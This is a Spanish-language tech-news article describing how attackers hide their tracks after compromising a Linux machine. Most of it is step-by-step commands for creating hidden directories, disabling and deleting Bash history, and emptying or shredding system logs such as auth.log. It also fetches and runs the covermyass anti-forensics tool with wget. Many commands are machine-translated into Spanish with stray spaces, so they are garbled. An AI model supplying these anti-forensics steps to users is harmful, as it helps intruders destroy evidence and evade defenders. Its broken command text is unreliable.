Hacker: una práctica del siglo 21 que no debe dejar huellas

Un hacker puede ser un gran dolor de cabeza

Un hacker puede ser un gran dolor de cabeza

El último paso en el negocio de cualquier hacker es ocultar sus huellas, para no dejar rastros que lo conecten con el ataque que perpetró.

Un ciberdelincuente elimina los rastros de sus actividades y los registros para evitar ser detectado.

Este paso es especialmente importante si un atacante planea obtener acceso al dispositivo objetivo nuevamente en el futuro.

IT CONNECT LATAM

Información de valor para ejecutivos que tienen que custodiar el negocio.

Para demostrar los conceptos básicos del encubrimiento de rastros, primero comprometen el objetivo y luego exploran algunas técnicas utilizadas para borrar el historial de Bash y borrar los registros después de piratear los sistemas Linux.

1 Hacker al menos está mirando tu sistema

Paso 1: comprometer al objetivo

Lo primero que debemos hacer es piratear el objetivo.

Usando el procesamiento incorrecto de los comandos del sistema operativo por parte del servidor, puede usar la inyección de comandos para obtener un shell.

Entonces, nuestro nuevo shell debe actualizarse para que sea completamente interactivo.

Este procedimiento simplificará enormemente el trabajo.

Después de eso, podemos elevar nuestros privilegios a root para aprovechar al máximo las ventajas del sistema y pasar desapercibidos.

Te darás cuenta que un hacker está detrás de tí, cuando el lo decida.

Paso 2. Crean un directorio oculto fácilmente extraíble

Habiendo obtenido acceso de root, los hackers pueden crear un directorio oculto para trabajar y almacenar cualquier script o archivo en él.

Por un lado, tales manipulaciones engañarán solo al administrador novato, pero una capa adicional de protección definitivamente no hará daño.

Primero, buscan todos los directorios grabables con el siguiente comando:

root @ target: / # buscar / -perm -222 -type d 2> / dev / null

/ dev / shm
/ var / lock
/ var / lib / php5
/ var / tmp
/ var / www / dav
/ var / www / twiki / data / Sandbox
/ var / www / twiki / data / Main
/ var / www / twiki / data / Saber
/ var / www / twiki / data / TWiki
/ var / www / twiki / data / _default
/ var / www / twiki / data / Papelera
/ var / www / twiki / pub / Sandbox
/ var / www / twiki / pub / Main
/ var / www / twiki / pub / Conozca
/ var / www / twiki / pub / Know / RightDllVersionW32PTH10DLL
/ var / www / twiki / pub / TWiki
/ var / www / twiki / pub / TWiki / TWikiDocGraphics
/ var / www / twiki / pub / TWiki / TWikiTemplates
/ var / www / twiki / pub / TWiki / TWikiLogos
/ var / www / twiki / pub / TWiki / PreviewBackground
/ var / www / twiki / pub / TWiki / FileAttachment
/ var / www / twiki / pub / TWiki / WabiSabi
/ var / www / twiki / pub / Papelera
/ var / www / twiki / pub / icn
/ tmp
/tmp/.ICE-unix
/tmp/.X11-unix

El hacker puede usar el comando mkdir para crear un directorio oculto agregando un punto al nombre:

root @ target: / # mkdir /dev/shm/.secret

Configurarán el comando para listar el contenido de / dev / shm. Como puede ver, no apareció nada:

root @ objetivo: / # ls -l / dev / shm /

total 0

El directorio solo aparece cuando usan el interruptor -a para listar todos los archivos y directorios:

root @ objetivo: / # ls -la / dev / shm /

total 0
drwxrwxrwt 3 raíz raíz 60 2019-06-19 13:49.
drwxr-xr-x 13 raíz raíz 13480 2019-06-19 13:41 ..
drwxr-xr-x 2 raíz raíz 40 2019-06-19 13:49 .secret

Para eliminar un directorio después de que hayan terminado de trabajar en la máquina, usan el comando rmdir :

root @ target: / # rmdir /dev/shm/.secret/

Paso 3. Eliminan el historial de Bash

Bash guarda en la memoria una lista de los comandos utilizados en la sesión actual, por lo que debe limpiarse para cubrir sus pistas.

Veamos el historial actual usando el comando history :
root @ target: / # historial

    1 cd /
    2 ls
    3 buscar / -perm -222 -type d 2> / dev / null
    4 cd / dev / shm /
    5 cd /
    6 mkdir /dev/shm/.secret
    7 ls -l / dev / shm /
    8 ls -la / dev / shm /
    9 ls
   10 rmdir /dev/shm/.secret/
   11 historia

Los comandos se escriben en la variable de entorno HISTFILE, generalmente .bash_history.

Use echo para encontrar la ubicación:

root @ target: / # echo $ HISTFILE
/root/.bash_history

Use el comando unset para eliminar la variable:

root @ target: / # unset HISTFILE

Repitiendo de nuevo el procedimiento, ellos se aseguran que no aparece nada:

root @ target: / # echo $ HISTFILE

Para evitar que se guarde el historial de comandos, también pueden enviarlo a / dev / null.

Para hacer esto, establezcen la variable:

root @ target: / # HISTFILE = / dev / null

O hacen lo mismo con el comando de exportación:

root @ target: / # export HISTFILE = / dev / null

El historial en este caso se enviará a / dev / null (es decir, a ninguna parte):

root @ target: / # echo $ HISTFILE

/ dev / null

Establecen el número de comandos que persistirán durante la sesión actual en 0 usando la variable HISTSIZE:

root @ target: / # HISTSIZE = 0

Alternativamente, usan el comando de exportación:

root @ target: / # export HISTSIZE = 0

Cambian el número de líneas permitidas en el archivo histórico usando la variable HISTFILESIZE .

Establezcen este valor en 0:

root @ target: / # HISTFILESIZE = 0

O con exportación:

root @ target: / # export HISTFILESIZE = 0

También pueden utilizar el comando set para cambiar los parámetros del shell .

Para deshabilitar la opción de historial, usaran seguramente el siguiente comando:

root @ target: / # set + o historial

Para luego encenderlo de nuevo:

root @ target: / # set -o historial

De manera similar, pueden usar el comando shopt para cambiar las opciones del shell.

Para deshabilitar el historial, usarán el siguiente comando:

root @ target: / # shopt -ou historial

Al encenderlo de nuevo:

root @ target: / # shopt -os history

Ejecutarán comandos en el sistema de destino, a veces es posible evitar almacenarlos en el historial ejecutando el comando con un espacio inicial:

root @ objetivo: ~ # cat / etc / passwd

Este método no siempre funciona y depende del sistema.

También es posible simplemente borrar el historial con el interruptor -c :

root @ target: ~ # historial -c

Para asegurarse de que los cambios se escriban en el disco, use el modificador -w :

root @ target: ~ # historial -w

Estas acciones borran el historial de la sesión actual únicamente.

Para asegurarse de que se borre el historial cuando cierre la sesión, el siguiente comando es útil para los hackers:

root @ target: / # cat / dev / null> ~ / .bash_history && history -c && salir

También pueden usar el comando kill para salir de la sesión sin guardar el historial:

root @ target: / # kill -9 $$

Paso 4. Así limpian los archivos de registro

Además del historial de Bash, también necesitan limpiar los registros para pasar desapercibido.

A continuación, se muestran algunos archivos de registro comunes y su contenido:
  • /var/log/auth.log Autenticación
  • /var/log/cron.log Tareas de cron
  • / var / log / maillog Correo
  • / var / log / httpd Apache

Por supuesto, el cibercriminal puede simplemente eliminar el registro usando el comando rm :

root @ target: / # rm /var/log/auth.log

Pero lo más probable es que este procedimiento provoque numerosas señales de alerta.

Por lo tanto, es mejor dejar el archivo vacío que borrarlo por completo.

Utilizan el comando truncar para reducir el tamaño del archivo a 0:

root @ target: / # truncate -s 0 /var/log/auth.log

Tenga en cuenta que la función de truncamiento no siempre está presente y no en todos los sistemas.

Se puede hacer lo mismo asignando “nada” al archivo:

root @ target: / # echo ''> /var/log/auth.log

Y también usan > solo para limpiar un archivo:

root @ target: / #> /var/log/auth.log

También pueden enviarlo a / dev / null:

root @ target: / # cat / dev / null> /var/log/auth.log

O usan el comando tee:

root @ target: / # verdadero | tee /var/log/auth.log

También puede los cibercriminales utilizar el comando dd para no escribir nada en el archivo de registro:

root @ target: / # dd if = / dev / null of = / var / log / auth.log

0 + 0 registros en
0 + 0 graba fuera
0 bytes (0 B) copiados, 6.1494e-05 s, 0.0 kB / s

El comando shred generalmente lo usan para sobrescribir un archivo con datos binarios sin sentido:

root @ target: / # triturar /var/log/auth.log

Además, cuando agregan -zu cortan el archivo y lo sobrescribirán con ceros:

root @ target: / # triturar -zu /var/log/auth.log

Paso 5. Utilizan una herramienta dedicada para ocultar lo mejor posible sus rastros.

Para minimizar la probabilidad de que lo detecten, habitualmente usan un script especial.

El script Covermyass automatiza los procesos que cubrimos anteriormente, incluido el borrado de archivos de registro y la desactivación del historial de Bash.
Si el dispositivo de destino tiene acceso a Internet, puede descargar el script de GitHub usando wget . (De lo contrario, el script deberá transferirse manualmente):
root @ target: / # wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass 

Cambian a un directorio grabable y use chmod para hacerlo ejecutable:

root @ target: / tmp # chmod + x covermyass 

Entonces lo ejecutan al archivo y a su sistema:

root @ objetivo: / tmp # ./covermyass

¡Bienvenido a la herramienta Cover my ass!

Seleccione una opción:

1) Borrar registros para la raíz del usuario
2) Desactivar permanentemente el historial de autenticación y bash
3) Restaurar la configuración a la predeterminada
99) Herramienta de salida

>

Cuentan los cibercriminales con un mensaje personalizable con varias opciones para elegir.

No irán muy lejos, con el primero ya pueden borrar los registros:

> 1

[+] / var / log / messages limpiado.
[+] /var/log/auth.log limpiado.
[+] /var/log/kern.log limpiado.
[+] / var / log / wtmp limpiado.
[+] ~ / .bash_history limpiado.
[+] Archivo de historial eliminado.

Recordatorio: su necesidad de recargar la sesión para ver los efectos.
Escriba exit para hacerlo.  

También es posible deshabilitar Bash y el historial de inicio de sesión con la opción 2:

> 2

[+] Envío permanente de /var/log/auth.log a / dev / null
[+] Envío permanente de bash_history a / dev / null
[+] Establece HISTFILESIZE y HISTSIZE en 0
[+] Biblioteca de historial deshabilitada

Registro de bash permanentemente deshabilitado. 

Si los cibercriminales necesitan borrar todo con urgencia, simplemente agregan el comando ahora :

root @ target: / tmp # ./covermyass ahora

[+] / var / log / messages limpiado.
[+] /var/log/kern.log limpiado.
[+] / var / log / wtmp limpiado.
[+] ~ / .bash_history limpiado.
[+] Archivo de historial eliminado.

Recordatorio: su necesidad de recargar la sesión para ver los efectos.
Escriba exit para hacerlo.

Conclusión

Exploramos los diversos métodos utilizados para tapar las huellas en una máquina comprometida, para entender el contexto y saber como eliminar las amenazas.

Analizamos las formas de deshabilitar y eliminar el historial de Bash, métodos para borrar los registros y consideramos a la herramienta Covermyass para conocer como borran la actividad en el dispositivo de destino eliminando todo.
Tenga en cuenta que existen otras formas de eliminar los rastros de un ataque y que los cibercriminales, seguramente la van a usar. Puede usar Metasploit, scripts de shell u ocultar rastros en un sistema Windows comprometido.
Sin embargo, la información proporcionada en este simple artículo es suficiente para ocultar la actividad en una computadora básica con Linux.
Cualquier hacker de mediana experiencia, ya conoce todos estos temas, de Usted depende elevar el precio del ataque a sus sistemas para hacerlo cada vez más seguro.
Por Marcelo Lozano – General Publisher IT Connect
hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker, hacker,

 

94 / 100